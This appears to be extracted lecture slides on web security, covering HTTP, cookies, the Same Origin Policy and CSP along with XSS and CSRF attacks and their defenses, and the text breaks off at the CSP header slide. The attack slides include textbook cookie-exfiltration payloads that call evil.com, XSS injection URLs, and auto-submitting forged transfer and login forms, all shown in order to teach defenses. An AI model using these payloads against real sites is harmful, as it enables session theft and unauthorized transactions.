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Sources 

1.  Many slides courtesy of Wil Robertson: https://wkr.io 

2.  Dom-based XSS example courtesy of OWASP: 
https://www.owasp.org/index.php/DOM_Based_XSS 

3.  CSP discussion courtesy of HTML5Rocks: 
http://www.html5rocks.com/en/tutorials/security/content-security-policy/ 

4.  Why is CSP Failing? Trends and Challenges in CSP Adoption: 
https://wkr.io/assets/publications/raid2014csp.pdf 

5.  Page Redder Chrome extension example code: 
https://developer.chrome.com/extensions/samples 

6.  Securing Legacy Firefox Extensions with Sentinel: 
https://wkr.io/assets/publications/dimva2013sentinel.pdf 

7.  Hulk: Eliciting Malicious Behavior in Browser Extensions: 
http://cs.ucsb.edu/~kapravel/publications/usenix2014_hulk.pdf 

•  Wikipedia HTTP Cookie; Same Origin Policy; Cross Site Scripting;Cross Site Request Forgery 
•  https://www.nczonline.net/blog/2009/05/05/http-cookies-explained/ 
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Client-server model for the web 
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Timeline 

}  1991: HTML and HTTP 
}  1992/1993: First browser  
}  1994: Cookies 
}  1995: JavaScript 
}  1995: Same Origin Policy (SOP) 
}  1995, 1997, 1998 – Document Object Model 
}  1996: SSL later to become TLS 
}  1999:  XMLHttpRequest 
}  2014: CORS and HTML 5 - W3C Recommendation 
Applications with rich functionality and increased complexity;  
today, modern browsers act as operating systems. 
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Browser as an operating system 

}  Web users visit multiple websites simultaneously 
}  A browser serves web pages (which may contain 

programs) from different web domains (sources) 
}  runs programs provided by mutually untrusted entities; running 

code one does not know/trust is dangerous 
}  maintains resources created/updated by web domains 

}  Browser must  
}  have a security policy to manage/protect browser-maintained 

resources and to provide separation among mutually untrusted 
scripts 

}  confine (sandbox) these scripts so that they cannot access 
arbitrary local resources 
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Why care about web security 

}  Many sensitive tasks are done through web 
}  Online banking, online shopping 
}  Database access 
}  System administration 

}  Web applications and web users are targets of many 
security and privacy related attacks  
}  On the client side 
}  On the server site 
}  On the network 
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HTML and HTTP - 1991 

}  1991: First version of Hypertext Markup Language 
(HTML) released by Sir Tim Berners-Lee 
}  Markup language for displaying documents 
}  Contained 18 tags, including anchor (<a>) a.k.a. a hyperlink 

}  1991: First version of Hypertext Transfer Protocol 
(HTTP) is published 
}  Berners-Lee’s original protocol only included GET requests for 

HTML 
}  HTTP is more general, many request (e.g. PUT) and document 

types 
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Web architecture circa-1992 
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}  Hypertext Markup Language 
}  HTML 2.0 à 3.2 à 4.0 à 4.01 → XHTML 1.1 → XHTML 2.0 

→ HTML 5 
}  Syntax 

}  Hierarchical tags (elements), originally based on SGML 
}  Structure 

}  <head> contains metadata 
}  <body> contains content 
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<!doctype html>!
!
<html>!
<head>!
    <title>Hello World</title>!
</head>!
    <body>!
        <h1>Hello World</h1>!
" "  <img src=“/img/my_face.jpg"></img>!
        <p>!
            I am 12 and what is !
            <a href="wierd_thing.html">this</a>? !
        </p>!
        <img src=“http://www.images.com/cats/
adorablekitten.jpg"></img>!
    </body>!
</html> !
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HTTP 

}  Hypertext Transfer Protocol 
}  Intended for downloading HTML documents 
}  Can be generalized to download any kind of file 

}  HTTP message format 
}  Text based protocol, typically over TCP 
}  Stateless 

}  Requests and responses must have a header, body is optional 
}  Headers includes key: value pairs 
}  Body typically contains a file (GET) or user data (POST) 

}  Various versions 
}  0.9 and 1.0 are outdated, 1.1 is most common, 2.0 ratified 
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Verb Description 

GET! Retrieve resource at a given path 

HEAD! Identical to a GET, but response omits body 

POST! Submit data to a given path, might create resources as 
new paths 

PUT! Submit data to a given path, creating resource if it exists 
or modifying existing resource at that path 

DELETE! Deletes resource at a given path 

TRACE! Echoes request 

OPTIONS! Returns supported HTTP methods given a path 

CONNECT! Creates a tunnel to a given network location 
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HTTP stateless design and implications 

}  Stateless request/response protocol 
}  Each request is independent of previous requests 

}  Statelessness has a significant impact on design and 
implementation of applications  
}  Hosts do not need to retain information about users 

between requests 
}  Web applications must use alternative methods to track 

the user's progress from page to page 
¨ Cookies, hidden variables, ULR encoded parameters;  
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Session state in URL example 

www.e_buy.com 

www.e_buy.com/ 
shopping.cfm? 

pID=269 

View Catalog 

www.e_buy.com/ 
shopping.cfm? 

pID=269& 
item1=102030405 

www.e_buy.com/ 
checkout.cfm? 

pID=269& 
item1=102030405 

Check out Select Item 

Store session information in URL; Easily read on network 
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HTTP authentication before cookies 

}  Access control mechanism built into HTTP itself 
}  Server indicates that authentication is required in 

HTTP response 
}  WWW-Authenticate: Basic realm="$realmID” 

}  Client submits base64-encoded username and 
password in the clear 
}  Authorization: Basic BASE64($user:$passwd) 

}  HTTP is stateless, so this must be sent with every request 
}  No real logout mechanism 

}  Digest variant uses hash construction (usually MD5) 
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Cookies – 1994 ( Mosaic Netscape 0.9beta) 

}  Originally developed for  MCI for an e-commerce application as 
an access control mechanism better than HTTP Authentication 

}  Cookies are a basic mechanism for persistent state 
}  Allow services to store about 4K of data (no code) at the client  
}  State is reflected back to the server in every HTTP request 

}  Attributes 
}  Domain and path restrict resources browser will send cookies to 
}  Expiration sets how long cookie is valid; Without the expires option, a 

cookie has a lifespan of a single session. A session is defined as finished 
when the browser is shut down, 

}  Additional security restrictions (added much later): HttpOnly, Secure 
}  Manipulated by Set-Cookie and Cookie headers 
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Cookie fields 

}  An example cookie: 
Name   session-token 
Content   "s7yZiOvFm4YymG….” 
Domain   .amazon.com 
Path               / 
Send For              Any type of connection 
Expires   Monday, September 08, 2031 7:19:41 PM 
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Use cookies to store state info 

}  A cookie is a name/value pair created by a website 
to store information on your computer 
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Cookie example 
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Client Side Server Side 

GET /login_form.html HTTP/1.0 

HTTP/1.0 200 OK 

POST /cgi/login.sh HTTP/1.0 

HTTP/1.0 302 Found 
Set-Cookie: logged_in=1; 

GET /private_data.html HTTP/1.0 
Cookie: logged_in=1; 



Web authentication via cookies 

}  HTTP is stateless 
}  How does the server recognize a user who has signed in?  

}  Servers can use cookies to store state on client 
}  After client successfully authenticates, server computes an 

authenticator and gives it to browser in a cookie 
}  Client cannot forge authenticator on his own (session id) 

}  With each request, browser presents the cookie 
}  Server verifies the authenticator 
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Typical session with cookies 

client server 

POST /login.cgi 

Set-Cookie:authenticator 

GET /restricted.html 
Cookie:authenticator 

Restricted content 

Verify that this 
client is authorized 

Check validity of 
authenticator 

Authenticators must be unforgeable and tamper-proof 
(malicious clients shouldn’t be able to modify an existing authenticator) 
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Session cookie example details 
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1.  Client submits login credentials 
2.  App validates credentials 
3.  App generates and stores a cryptographically secure session 

identifier  
1.  e.g., Hashed, encoded nonce  

2.  e.g., HMAC(session_id) 

4.  App uses Set-Cookie to set session ID 
5.  Client sends session ID as part of subsequent requests using 

Cookie 
6.  Session dropped by cookie expiration or removal of server-side 

session record 



}  Advantages 
}  Flexible – authentication delegated to app layer (vs. HTTP 

Authentication) 
}  Support for logout 
}  Large number of ready-made session management frameworks 

}  Disadvantages 
}  Flexible – authentication delegated to app layer 
}  Session security depends on secrecy, unpredictability, and 

tamper-evidence of cookie 
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Managing state 

}  Each origin may set cookies 
}  Objects from embedded resources may also set cookies 
 

<img src=“http://www.images.com/cats/
adorablekitten.jpg"></img>!

 

}  When the browser sends an HTTP request to origin D, 
which cookies are included? 
}  Only cookies for origin D that obey the specific path 

constraints 
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Browser cookie management 

}  Cookie Same-origin ownership  
}  Once a cookie is saved on your computer, only the Web site that 

created the cookie can read it 

}  Variations 
}  Temporary cookies 

}  Stored until you quit your browser 

}  Persistent cookies 
}  Remain until deleted or expire 

}  Third-party cookies 
}  Originates on or sent to a web site other than the one that provided 

the current page 
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Third-party cookies example 

}  Get a page from merchant.com 
}  Contains <img src=http://doubleclick.com/advt.gif> 
}  Image fetched from DoubleClick.com: DoubleClick now knows 

your IP address and page you were looking at 

}  DoubleClick sends back a suitable advertisement 
}  Stores a cookie that identifies "you" at DoubleClick 

}  Next time you get page with a doubleclick.com image 
}  Your DoubleClick cookie is sent back to DoubleClick 
}  DoubleClick could maintain the set of sites you viewed  
}  Send back targeted advertising (and a new cookie) 

}  Cooperating sites 
}  Can pass information to DoubleClick in URL, … 
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Cookies summary  

}  Stored by the browser 
}  Used by the web applications 

}  used for authenticating, tracking, and maintaining specific 
information about users 
}  e.g., site preferences, contents of shopping carts 

}  Cookie ownership 
}  Once a cookie is saved on your computer, only the website 

that created the cookie can read it 

}  Security aspects 
}  Data may be sensitive 
}  May be used to gather information about specific users 
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JavaScript 1995 

}  1995: JavaScript introduced with Netscape Navigator 2.0 
}  Netscape allowed Java plugins to be embedded in webpages 
}  Designed to be a lightweight alternative to Java for beginners 
}  No relationship to Java, other than the name 

}  1996: Microsoft introduces JScript and VBScript with IE 
3.0 JScript was similar, but not identical to, JavaScript 
(embrace, extend, extinguish) 

}  Features 
}  Dynamic, weakly-typed 
}  Prototype-based inheritance 
}  First-class functions 
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}  Inline 
}  <a onclick="doSomething();"></a>!

}  Embedded 
}  <script>alert('Hello');</script>!

}  External 
}  <script src="/js/main.js"></script> !
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var n = 1; !
var s = 'what'; !
!
var fn = function(x, y) { !
    return x + y; !
} !
!
var arr = ['foo', 'bar', 
0]; !
!
var obj = { !
    msg: s, !
    op: fn, !
}; !

32 

var fn = function(msg) { !
    // ...!
}; !
!
addEventListener('click', 
fn, false); !
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JavaScript example 



Document Object Model (DOM) 

}  Provides an API for accessing browser state and frame 
contents 
}  Accessible via JavaScript 

}  Browser state 
}  Document, windows, frames, history, location, navigator 

(browser type and version) 

}  Document 
}  Properties – e.g., links, forms, anchors 
}  Methods to add, remove, modify elements 
}  Ability to attach listeners to objects for events (e.g. click, mouse 

over, etc.) 
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window.location = 'http://google.com/'; !
!
!
document.write('<script src="..."></script>'); !
!
!
var ps = document.getElementsByTagName('p'); !
!
!
var es = document.getElementById('msg'); !
es = es.firstChild; !
es.innerHTML(‘<a href=“'http://google.com/”>A new 
link to Google</a>');!
!
!
alert(‘My cookies are: ' + document.cookie);!

34 

JavaScript and DOM examples 
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Same Origin Policy (SOP) 
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}  SOP is the basic security model enforced in the browser 
}  SOP states that subjects from one origin cannot 

access objects from another origin  
}  Origin = domain name + protocol + port 

}  all three must be equal for origin to be considered the 
same 

}  SOP isolates the scripts and resources downloaded from 
different origins 
}  E.g., evil.org scripts cannot access bank.com resources 

}  For cookies, domains are the origins and cookies are the 
subjects 



Problems with SOP 

}  Poorly enforced on some browsers 
}  Particularly older browsers 

}  Limitations if site hosts unrelated pages 
}  Example: Web server often hosts sites for unrelated parties 

}  http://www.example.com/account/  
}  http://www.example.com/otheraccount/  

}  Same-origin policy allows script on one page to access 
properties of document from another 

}  Usability: Sometimes prevents desirable cross-origin 
resource sharing 

Web security 36 



Same Origin Policy JavaScript 

}  Javascript enables dynamic inclusion of objects 

document.write('<img src=“http://example.com/?c=' + 
document.cookie + '></img>'); 

}  A webpage may include objects and code from multiple 
domains 
}  Should Javascript from one domain be able to access objects in 

other domains? 
 
<script src=‘https://code.jquery.com/jquery-2.1.3.min.js’></
script> 
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Mixing origins 

<html>!
<head></head>!
<body> !
"<p>This is my page.</p> !
"<script>var password = ‘s3cr3t’;</
script>!
"<iframe id=‘goog’ src=‘http://
google.com’></iframe>!
</body>!
</html> !
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This is my page. 
 
 

Can JS from google.com read 
password? 

Can JS in the main context do the 
following: 

document.getElementById(‘goog’).c
ookie? Web security 



Same Origin Policy JavaScript example 

Origin = <protocol, hostname, port> 
 

}  The Same-Origin Policy (SOP) states that subjects from 
one origin cannot access objects from another origin 

}  This applies to JavaScript 

}  JS from origin D cannot access objects from origin D’ 

}  E.g. the iframe example 

}  However, JS included in D can access all objects in D 

}  E.g. <script src=‘https://code.jquery.com/jquery-2.1.3.min.js’></script> 
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SSL 1996 

}  1996: Netscape releases first implementation of Secure 
Socket Layer (SSLv3) 
}  Attributed to famous cryptographer Tahar Elgamal 
}  SSLv1 and SSLv2 had serious security problems and were never 

seriously released 

}  1996: W3C releases the spec for Cascading Style Sheets 
(CSS1) 
}  First proposed by Håkon Wium Lie, now at Opera 
}  Allows developers to separate content and markup from 

display attributes 
}  First implemented in IE 3, no browser was fully compatible 

until IE 5 in 2000 
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}  Cascading stylesheets 
}  Language for styling HTML 
}  Decoupled from content and structure 

}  Selectors 
}  Match styles against DOM elements (id, class, positioning in tree, 

etc.) 
}  Directives 

}  Set style properties on elements 
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}  Inline 
}  <span style="display: none;"></span>!

}  Embedded 

}  <style>body { color: red; }</style> !
}  External 

}  <link rel="stylesheet" type="text/css" 
href="/css/main.css"> !
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body { !
    font-family: sans-serif; !
} !
!
#content { !
    width: 75%; !
    margin: 0 auto; !
} !
!
a#logo { !
    background-image: url(//img/logo.png);!
} !
!
.button { !
    // ...!
} !
!
p > span#icon { !
    background-image: url('javascript:...'); !
} !
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Beware: some 
browsers allow 
JS inside CSS 
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Web architecture circa-1992 
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Web architecture circa-2015 
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ActiveX 1999 

}  1999: Microsoft enables access to IXMLHttpRequest 
ActiveX plugin in IE 5 
}  Allows Javascript to programmatically issue HTTP requests 
}  Adopted as closely as possible by Netscape’s Gecko engine in 

2000 
}  Eventually led to AJAX, REST, and other crazy Web-dev 

buzzwords 
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}  API that can be used by web browser scripting languages to transfer XML and 
other text data to and from a web server using HTTP, by establishing an 
independent and asynchronous communication channel.  (used by AJAX)  
}  Browser-specific API (still to this day) 
}  Often abstracted via a library (jQuery)  

}  Typical workflow 
}  Handle client-side event (e.g. button click) 
}  Invoke XHR to server 
}  Load data from server (HTML, XML, JSON) 
}  Update DOM 
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XMLHttpRequest (XHR): 1999 



<div id="msg"></div>!
<form id="xfer">…</form>!
!
<script>!
"$('#xfer').submit(function(form_obj) {!
" "var xhr = new XMLHttpRequest(); !
" "xhr.open(‘POST’, ‘/xfer.php’, true); !
" "xhr.setRequestHeader(‘Content-type’, ‘application/x-
www-form-urlencoded’); !
" "xhr.onreadystatechange = function() { !
" " "if (xhr.readyState == 4 && xhr.status == 200) { !
" " " "$('#msg').html(xhr.responseText); !
" " "} !
" "}; !
" "xhr.send($(this).serialize());!
"}); !
</script> !
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XHR vs. SOP 

}  Legal: requests for objects from the same origin 
$.get('server.php?var=' + my_val); 

}  Illegal: requests for objects from other origins 
$.get(‘https://facebook.com/’); 
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Same Origin Policy summary 

}  Origin = domain name + protocol + port 
}  Same-origin policy applies to the following accesses: 

}  manipulating browser windows  
}  URLs requested via the XmlHttpRequest 
}  manipulating frames (including inline frames)  
}  manipulating documents (included using the object tag)  
}  manipulating cookies 
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Sending data over HTTP to the server 

}  Four ways to send data to the server 
1.  Embedded in the URL (typically URL encoded, but not always) 
2.  In cookies (cookie encoded) 
3.  Inside a custom HTTP request header 
4.  In the HTTP request body (form-encoded) 

51 

POST /purchase.html?
user=cbw&item=iPad&price=399.99#shopping_cart HTTP/1.1 
… other headers… 
Cookie: user=cbw; item=iPad; price=399.99; 
X-My-Header: cbw/iPad/399.99 
 
user=cbw&item=iPad&price=399.99 

1 
2 

3 

4 
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CORS 

}  Cross-origin-resource-sharing (CORS) allows cross-
domain communication from the browser; 
}  XMLHttpRequest  API/objects, JavaScript, JQuert 

}  Browsers and servers have to support CORS; browsers 
generate additional communication on behalf of the user. 
}  All CORS related headers are prefixed with "Access-Control-”. 

}  Note1: while many browsers support CORS, it is still 
under development; 

}  Note 2: CORS redefines the attack surface for some web 
attacks such as CREF. 

http://www.html5rocks.com/en/tutorials/cors/ 
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HTML5 

}  HTML5 is the latest revision of the HTML standard (Oct. 
2014) 

}  Added many new features 
}  Canvas, audio, and video tags 
}  Offline web apps 
}  Drag-and-drop 
}  Cross-frame/document messaging 
}  Web storage 
}  File API 

}  We'll look at HTML5’s new security APIs and 
vulnerabilities associated with these new features 

Web security 54 



Web security 55 



Quick UDP Internet Connections (QUIC) 

}  Design goals 
}  Provide security protection comparable to TLS  
}  Reduce connection latency by collapsing TCP and TLS in one 

layer: requires UDP 
}  Easy to deploy 
}  Lists performance of connection establishment (0-RTT) as a 

goal 
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Communication protocol developed by Google and 
implemented as part of the Chrome browser in 2013 
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Connection setup: TLS vs QUIC 
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TCP session establishment 

TLS key establishment 

connection establishment 
and key agreement 

exchange data 

exchange data 

setup  
latency 

+ 

client server server client 

TCP guarantees reliable and ordered 
delivery, but  

}  adds latency 
}  suffers from subtle performance attacks, 

e.g., TCP reset, Clayton et al, 2006  

TLS QUIC 
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Plugins and extensions 

}  Plugin: Third party library that can be embedded inside a 
web page using an <embed> tag or a <object> tag. Affect 
a page 
}  they execute native (x86) code outside the browser’s sandbox 

}  Examples of common plugins include: 
}  Macromedia Flash; Microsoft Silverlight; Apple Quicktime; 

Adobe Reader  

}  Extensions also represent added functionality, but they 
impact browsers 
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2: Client-side attacks 



Client side scripting 

}  Web pages (HTML) can embed dynamic contents (code) 
that can be executed on the browser 

}  JavaScript 
}  embedded in web pages and executed inside browser 

}  Java applets 
}  small pieces of Java bytecodes that execute in browsers 
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Scripts are powerful 

}  Client-side scripting is powerful and flexible, and can 
access the following resources 
}  Local files on the client-side host 

}  read / write local files 

}  Webpage resources maintained by the browser 
}  Cookies 
}  Domain Object Model (DOM) objects 

¨  steal private information 
¨  control what users see 
¨  impersonate the user	
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Browser role 

}  Your browser stores a lot of sensitive information 
}  Your browsing history 
}  Saved usernames and passwords 
}  Saved forms (i.e. credit card numbers) 
}  Cookies (especially session cookies) 

}  Browsers try their hardest to secure this information 
}  i.e. prevent an attacker from stealing this information 
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}  Attacker’s goal: 
}  Steal information from your browser (i.e. your session cookie 

for bofa.com) 

}  Browser’s goal: isolate code from different origins 
}  Don’t allow the attacker to exfiltrate private information from 

your browser 

}  Attackers capability: trick you into clicking a link 
}  May direct to a site controlled by the attacker 
}  May direct to a legitimate site (but in a nefarious way…) 
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Threat model assumptions 

}  Attackers cannot intercept, drop, or modify traffic 
}  No man-in-the-middle attacks 

}  DNS is trustworthy 
}  No DNS spoofing or Kaminsky 

}  TLS and CAs are trustworthy 
}  No Beast, POODLE, or stolen certs 

}  Scripts cannot escape browser sandbox 
}  SOP restrictions are faithfully enforced 
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Browser exploits 

}  Browsers are complex pieces of software 
}  Classic vulnerabilities may exist in the network stack, HTML/CSS 

parser, JS runtime engine, etc. 

}  Plugins expand the vulnerable surface of the browser 
}  [Flash, Java, Acrobat, …] are large, complex, and widely installed 
}  Plugins execute native (x86) code outside the browser’s sandbox 

}  Attacker can leverage browser bugs to craft exploits 
}  Malicious page triggers and exploits a vulnerability 

}  Often used to conduct Drive-by attacks 
}  Drive-by Download: force the browser to download a file without 

user intervention 
}  Drive-by Install: force the browser to download a file and then 

execute it 
}  Often install Trojan horses, rootkits, etc. 
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Drive-by install example 
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evil.com 

1) Send 
malicious 
link to the 

victim 

2) GET /exploit.html 
HTTP/1.1 

3) HTTP/1.1 
200 OK 

4) GET /rootkit.exe 
HTTP/1.1 

5) HTTP/1.1 200 OK 
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Exploit kits 

}  Drive-by attacks have become commoditized 
}  Exploit packs contain tens or hundreds of known browser exploits 
}  Constantly being updated by dedicated teams of blackhats 
}  Easy to deploy by novices, no need to write low-level exploits 
}  Examples: MPack, Angler, and Nuclear EX 

}  Often used in conjunction with legitimate, compromised 
websites 
}  Legit site is hacked and modified to redirect to the attackers website 
}  Attackers site hosts the exploit kit as well as a payload 
}  Anyone visiting the legit site is unwittingly attacked and exploited 
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Revised threat model assumptions 

}  Attackers cannot intercept, drop, or modify traffic 
}  No man-in-the-middle attacks 

}  DNS is trustworthy 
}  No DNS spoofing or Kaminsky 

}  TLS and CAs are trustworthy 
}  No Beast, POODLE, or stolen certs 

}  Scripts cannot escape browser sandbox 
}  SOP restrictions are faithfully enforced 

}  Browser/plugins are free from vulnerabilities 
}  Not realistic, but forces the attacker to be more 

creative ;) 
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document.write('<img src="http://evil.com/
c.jpg?' + document.cookie + '">'); !

!
}  DOM API for cookie access (document.cookie) 

}  Often, the attacker's goal is to exfiltrate this property 
}  Why? 

}  Exfiltration is restricted by SOP...somewhat 
}  Suppose you click a link directing to evil.com 
}  JS from evil.com cannot read cookies for bofa.com 

}  What about injecting code? 
}  If the attacker can somehow add code into bofa.com, the reading 

and exporting cookies is easy (see above) 
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Cross-Site scripting (XSS) 

}  XSS refers to running code from an untrusted 
origin 
}  Usually a result of a document integrity violation 

}  Documents are compositions of trusted, developer-
specified objects and untrusted input 
}  Allowing user input to be interpreted as document structure 

(i.e., elements) can lead to malicious code execution 

}  Typical goals 
}  Steal authentication credentials (session IDs) 
}  Or, more targeted unauthorized actions 
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Types of XSS 

}  Reflected (Type 1) 
}  Code is included as part of a malicious link 
}  Code included in page rendered by visiting link 

}  Stored (Type 2) 
}  Attacker submits malicious code to server 
}  Server app persists malicious code to storage 
}  Victim accesses page that includes stored code 

}  DOM-based (Type 3) 
}  Purely client-side injection 
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Vulnerable website, Type 1 

}  Suppose we have a search site, www.websearch.com 
 

http://www.websearch.com/search?q=Christo+Wilson 
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Web Search 

Results for: Christo Wilson 

Christo Wilson – Professor at Northeastern 
http://www.ccs.neu.edu/home/cbw/index.html 
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Vulnerable website, Type 1 

http://www.websearch.com/search?q=<img src=“http://
img.com/nyan.jpg”/> 
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Web Search 

Results for: 
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Reflected XSS attack 

http://www.websearch.com/search?
q=<script>document.write('<img src="http://
evil.com/?'+document.cookie+'">');</script> 
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Origin: www.websearch.com 
session=xI4f-Qs02fd evil.com 

websearch.com 

4) GET /?session=… 

1) Send 
malicious 
link to the 

victim 
2) GET search?q=<script>… 

3) HTTP/1.1 200 OK 
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Vulnerable website, Type 2 

}  Suppose we have a social network, www.friendly.com 
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   friendly 

What’s going on? 
I hope you like pop-tarts ;) 
 
<script>document.body.style.backgroundI
mage = "url(' http://img.com/nyan.jpg ')"</
script>  

Update 
Status 
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Vulnerable website, Type 2 

}  Suppose we have a social network, www.friendly.com 
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   friendly 

Latest Status Updates 

I hope you like pop-tarts ;) 
Monday, March 23, 2015 
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Stored XSS attack 

<script>document.write('<img src="http://
evil.com/?'+document.cookie+'">');</script> 
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Origin: www.friendly.com 
session=xI4f-Qs02fd evil.com 

friendly.com 

5) GET /?session=… 

3) GET /

profile.php?

uid=… 

4) HTTP/1.1 200 OK 
2) Send link to attacker’s profile to the victim 

1) Post malicious 
JS to profile 
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MySpace.com   (Samy worm) 

}  Users can post HTML on their pages 
}  MySpace.com ensures HTML contains no 

<script>, <body>, onclick, <a href=javascript://> 
}  However, attacker  find out that a way to include Javascript within 

CSS tags: 
<div style=“background:url(‘javascript:alert(1)’)”> 
And can hide  “javascript” as  “java\nscript” 

}  With careful javascript hacking: 
}  Samy’s worm: infects anyone who visits an infected MySpace page   

…    and adds Samy as a friend. 
}  Samy had millions of friends within 24 hours. 

}  More info:      http://namb.la/popular/tech.html 
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DOM-based XSS attack 

Select your language: 
<select><script> 
document.write(“<OPTION value=1>” + 
document.location.href.substring( 

 document.location.href.indexOf("default=") + 8) 
 + “</OPTION>”); 

document.write("<OPTION value=2>English</OPTION>"); 
</script></select> 
 
}  Intended usage: http://site.com/page.html?default=French 
}  Misusage: 

http://site.com/page.html?default=<script>alert(document.cookie)</
script> 
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document.location.href is 
the URL displayed in the 

address bar 
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Mitigating XSS attacks 

}  Client-side defenses 
1.  Cookie restrictions – HttpOnly and Secure 
2.  Client-side filter – X-XSS-Protection 
 

}  Server-side defenses 
3.  Input validation 
4.  Output filtering 
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HttpOnly cookies 

}  One approach to defending against cookie stealing: 
HttpOnly cookies 
}  Server may specify that a cookie should not be exposed in the 

DOM 
}  But, they are still sent with requests as normal 

}  Not to be confused with Secure 
}  Cookies marked as Secure may only be sent over HTTPS 

}  Website designers should, ideally, enable both of these 
features 

}  Does HttpOnly prevent all attacks? 
}  Of course not, it only prevents cookie theft 
}  Other private data may still be exfiltrated from the origin 
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Client-side XSS filters 

HTTP/1.1 200 OK 
… other HTTP headers… 
X-XSS-Protection: 1; mode=block 
 
POST /blah HTTP/1.1 
… other HTTP headers… 
 
to=dude&msg=<script>...</script> 
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•  Browser mechanism to filter 
"script-like" data sent as part 
of requests 
•  i.e., check whether a 

request parameter 
contains data that looks 
like a reflected XSS 

•  Enabled in most browsers 
•  Heuristic defense against 

reflected XSS 
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Sever side 

}  Document integrity: ensure that untrusted content 
cannot modify document structure in unintended ways 
}  Think of this as sandboxing user-controlled data that is 

interpolated into documents 
}  Must be implemented server-side 

}  You as a web developer have no guarantees about what happens 
client-side 

}  Two main classes of approaches 
}  Input validation 
}  Output sanitization 
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Input validation 

x = request.args.get('msg') 
if not is_valid_base64(x): abort(500) 
 
}  Goal is to check that application inputs are "valid" 

}  Request parameters, header data, posted data, etc. 

}  Assumption is that well-formed data should also not 
contain attacks 
}  Also relatively easy to identify all inputs to validate 

}  However, it's difficult to ensure that valid == safe 
}  Much can happen between input validation checks and 

document interpolation 
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Output sanitization 

<div id="content">{{sanitize(data)}}</div> 
 
}  Another approach is to sanitize untrusted data during 

interpolation 
}  Remove or encode special characters like ‘<‘ and ‘>’, etc. 
}  Easier to achieve a strong guarantee that script can't be injected into 

a document 
}  But, it can be difficult to specify the sanitization policy (coverage, 

exceptions) 

}  Must take interpolation context into account 
}  CDATA, attributes, JavaScript, CSS 
}  Nesting! 

}  Requires a robust browser model 
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<div id="content"> 
    <h1>User Info</h1> 
    <p>Hi {{user.name}}</p> 
    <p id="status" style="{{user.style}}"></p> 
</div> 
 
<script> 
    $.get('/user/status/{{user.id}}', function(data) { 
        $('#status').html('You are now ' + data.status); 
    }); 
</script> 
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HTML 
Sanitization 

Attribute 
Sanitization 

Script 
Sanitization 

Was this 
sanitized by 
the server? 
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Response splitting 

@app.route('/oldurl') 
def do_redirect(): 
    # ... 
    url = request.args.get('u', '') 
    resp.headers['Location'] = url 
    return resp 
 

}  Response splitting is an attack against the integrity of 
responses issued by a server 
}  Similar to, but not the same, as XSS 

}  Simplest example is redirect splitting 
}  Apps vulnerable when they do not filter delimiters from 

untrusted inputs that appear in Location headers 
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Working example 
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Response splitting example 
@app.route('/oldurl') 

def do_redirect(): 
    # ... 
    url = request.args.get('u', '') 
    resp.headers['Location'] = url 
    return resp 
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Cross-Site Request Forgery (CSRF) 

}  CSRF is another of the basic web attacks 
}  Attacker tricks victim into accessing URL that performs an 

unauthorized action 
}  Avoids the need to read private state (e.g. document.cookie) 

}  Also known as one click attack or session riding 
}  Effect: Transmits unauthorized commands from a user 

who has logged in to a website to the website.  
}  Abuses the SOP 

}  All requests to origin D* will include D*’s cookies 
}  … even if some other origin D sends the request to D*   
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Vulnerable website 
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Bank of 
Washington 

Account Transfer Invest Learn Locations Contact 

Welcome, Christo 

Transfer Money 

To: 

Amount
: 

Transfer 
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Client 
Side 

Server 
Side GET /login_form.html HTTP/1.1 

HTTP/1.1 200 OK 

POST /login.php HTTP/1.1 

HTTP/1.1 302 Found 
Set-Cookie: session=3#4fH8d%dA1; HttpOnly; Secure; 

GET /money_xfer.html HTTP/1.1 
Cookie: session=3#4fH8d%dA1; 

HTTP/1.1 200 OK 

POST /xfer.php HTTP/1.1 
Cookie: session=3#4fH8d%dA1; 

HTTP/1.1 302 Found 

1)  GET the 
login page 

2)  POST 
username 
and 
password, 
receive a 
session 
cookie 

3)  GET the 
money 
transfer 
page 

4)  POST the 
money 
transfer 
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CSRF attack 

}  Assume that the victim is logged-in to www.bofw.com 
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Origin: www.bofw.com 
session=3#4fH8d%dA1 

evil.com 

bofw.com 

Bank of 
Washington 

<form action="https://bofw.com/
xfer.php"> !
    <input type="hidden" name="to“!
" "value="attacker"> !

    <input type="hidden" 
name="amount“ !
" "value="1000000"> !

</form>!
<script>document.forms[0].submit()
;</script> !

1) Send malicious link 
2) GET 

3) HTTP/1.1 200 OK 
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CSRF Explained 

}  Example:    
}  User logs in to  bank.com.    Forgets to sign off. 
}  Session cookie remains in browser state 

}  Then user visits another site containing: 
  <form  name=F  action=http://bank.com/BillPay.php> 
  <input  name=recipient   value=badguy> … 
  <script> document.F.submit(); </script>  

}  Browser sends user auth cookie with request 
}  Transaction will be fulfilled 

}  Problem:    
}  The browser is a confused deputy; it is serving both the 

websites and the user and gets confused who initiated a 
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Login CSRF 

<form action="https://victim-app.io/login"> 
    <input name="user" value="attacker"> 
    <input name="password" value="blah23"> 
</form> 
<script>document.forms[0].submit();</script> 
 
}  Login CSRF is a special form of the more general case 

}  CSRF on a login form to log victim in as the attacker 
}  Attacker can later see what the victim did in the account 

}  Search history 
}  Items viewed 
}  Etc. 
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Gmail incident: Jan 2007 

}  Allows the attacker to steal a user’s contact 
}  Google docs has a script that run a callback function, 

passing it your contact list as an object. The script 
presumably checks a cookie to ensure you are logged into 
a Google account before handing over the list. 

}  Unfortunately, it doesn’t check what page is making the 
request. So, if you are logged in on window 1, window 2 
(an evil site) can make the function call and get the 
contact list as an object. Since you are logged in 
somewhere, your cookie is valid and the request goes 
through. 
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Real world CSRF vulnerabilities 

}  Gmail 
}  NY Times 
}  ING Direct (4th largest saving bank in US) 
}  YouTube 
}  Various DSL Routers 
}  … 
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Prevention 

}  Server side: 
}  use cookie + hidden fields to authenticate a web form 

}  hidden fields values need to be unpredictable and user-specific; thus 
someone forging the request need to guess the hidden field values 

}  requires the body of the POST request to contain cookies 
}  Since browser does not add the cookies automatically, malicious 

script needs to add the cookies, but they do not have access because 
of Same Origin Policy 

}  User side: 
}  logging off one site before using others 
}  selective sending of authentication tokens with requests (may 

cause some disruption in using websites) 
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Content Security Policy (CSP) 

}  CSP is a browser security framework proposed by 
Brandon Sterne at Mozilla in 2008 
}  Moves the browser from a default-trust model to a whitelisted 

model 
}  Originally intended as an all-encompassing framework to 

prevent XSS and CSRF 
}  Can also be used more generally to control app/extension 

behaviors 

}  CSP allows developers to specify per-document 
restrictions in addition to the SOP 
}  Server specifies policies in a header 
}  Policies are composed of directives scoped to origins 

}  http://www.html5rocks.com/en/tutorials/security/content-security-policy/ 
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CSP Header  

}  CSP implements two headers that a server may include in HTTP responses 
}  Content-Security-Policy 
